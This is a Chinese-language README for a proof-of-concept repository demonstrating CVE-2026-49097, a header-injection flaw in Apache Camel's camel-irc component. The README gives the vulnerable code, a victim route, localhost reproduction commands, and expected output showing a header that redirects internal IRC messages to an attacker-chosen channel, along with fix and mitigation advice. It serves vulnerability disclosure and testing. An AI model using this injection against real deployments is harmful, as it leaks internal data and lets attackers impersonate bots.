oscerd/CVE-2026-49097

GitHub: oscerd/CVE-2026-49097

该项目复现了 Apache Camel camel-irc 组件中 irc.sendTo 消息头注入漏洞(CVE-2026-49097),演示了攻击者如何通过 HTTP 请求将 IRC 消息重定向到任意目标。

Stars: 0 | Forks: 0

# camel-irc irc.sendTo Header Injection 复现代码 (CVE-2026-49097) 本项目演示了 Apache Camel 的 `camel-irc` 组件中的一个**消息头注入**漏洞,追踪编号为 **CVE-2026-49097**。`IrcProducer` 会读取 `irc.sendTo` 消息头来选择传出 IRC 消息的目标地址;如果存在该消息头,它会**覆盖 endpoint 中已配置的频道列表**: ``` // IrcProducer.process (affected 4.18.2) final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo" ... } else if (sendTo != null) { connection.doPrivmsg(sendTo, msg); // attacker-chosen destination } else { for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) { connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s) } } ``` Header 常量 `IRC_SEND_TO` 的字面值为 `irc.sendTo`。由于它不以 `Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy`(该策略仅在 HTTP 边界拦截 Camel header 命名空间)会允许它从入站 HTTP 请求直接进入 Exchange。 在将 HTTP consumer(例如 platform-http)桥接到 `irc:` producer 的路由中,任何 HTTP 客户端都可以 因此提供 `irc.sendTo`,并**将消息重定向到任意的 IRC 频道或昵称**,从而将原本发往内部频道的内容泄露给攻击者监控的目标,或者在另一个频道中冒充该 bot。在同一修复中还有另外九个 `irc.*` 常量被重命名;`irc.sendTo` 是可以直接被利用的一个。 此 PoC 将其影响演示为**消息重定向 / 信息泄露 (CWE-20 → CWE-74)**。 安全公告:https://camel.apache.org/security/CVE-2026-49097.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-irc` | | **受影响的类** | 读取 `IrcConstants.IRC_SEND_TO` (`"irc.sendTo"`) 的 `org.apache.camel.component.irc.IrcProducer` | | **CWE** | CWE-20 (不当输入验证) / CWE-74 (注入) | | **影响** | 将传出的 IRC 消息重定向到攻击者指定的频道/昵称(数据泄露、冒充) | | **前置条件** | 路由将 HTTP consumer 桥接到 `irc:` producer;当 consumer 未经过身份验证时 | | **受影响版本** | 从 4.0.0 起至 4.14.8 之前,从 4.15.0 起至 4.18.3 之前,从 4.19.0 起至 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23629 (PR [apache/camel#23594](https://github.com/apache/camel/pull/23594)) | | **致谢** | Yu Bao (PayPal) | ## 为什么不需要 IRC 服务器 该漏洞完全存在于 `IrcProducer` 的目标选择逻辑中;IRC socket 仅作为传输层。此 复现代码运行的是**真实**的 `IrcProducer` 和**真实**的 irclib `IRCConnection` 类,我们对其进行了子类化处理,使其 `send(...)` 方法(所有 `do*` 命令——包括 `doPrivmsg`——都通过该方法汇集)记录下 PRIVMSG 的目标,而不是将其写入 socket。一个微小的自定义 `irc` 组件会分配这种用于记录的 connection。此过程不会连接到任何 IRC 网络。 ## 受害者路由 ``` from("platform-http:/notify") .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100"); ``` 一个转发到固定内部频道 `#alerts` 的“通知”endpoint。HTTP API 中没有目标参数—— 开发者假设客户端无法选择频道。攻击者设置了 `irc.sendTo`,随后 bot 就会将消息发布到攻击者指定的频道中。 ## 仓库结构 ``` CVE-2026-49097/ ├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10) ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket │ ├── RecordingIrcComponent.java # hands out the recording connection │ ├── IrcComponentConfig.java # registers it under the 'irc' scheme │ ├── IrcRecorder.java # captures the last delivered target + text │ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts │ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` === CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) === Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config) 1) Legitimate POST /notify (no irc.sendTo header) IRC message delivered to: #alerts text: Revenue report Q3: $4.2M (internal distribution only) 2) Injected POST /notify with header 'irc.sendTo: #exfil-channel' IRC message delivered to: #exfil-channel text: Revenue report Q3: $4.2M (internal distribution only) >>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and >>> overrode the producer's configured channel, sending the internal notification to an >>> attacker-chosen IRC destination (exfiltration / bot impersonation): true ``` ## 建议修复 升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23629)。升级后,通过 header 设置 IRC 目标的路由必须使用 `CamelIrcSendTo` 名称。请注意,`camel-irc` 自 4.21.0 起已被弃用。 ## 缓解措施 在升级之前,请在 `irc:` producer 之前从任何不受信任的入口流量中剔除 camel-irc 的控制 header(例如使用 `removeHeaders("irc.*")`),并从可信来源设置目标地址。 ## 免责声明 此复现代码仅供**安全研究和授权测试使用**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, camel-irc, CISA项目, JS文件枚举, PoC, 信息泄露, 域名枚举, 暴力破解, 消息头注入, 漏洞复现, 版权保护, 请求拦截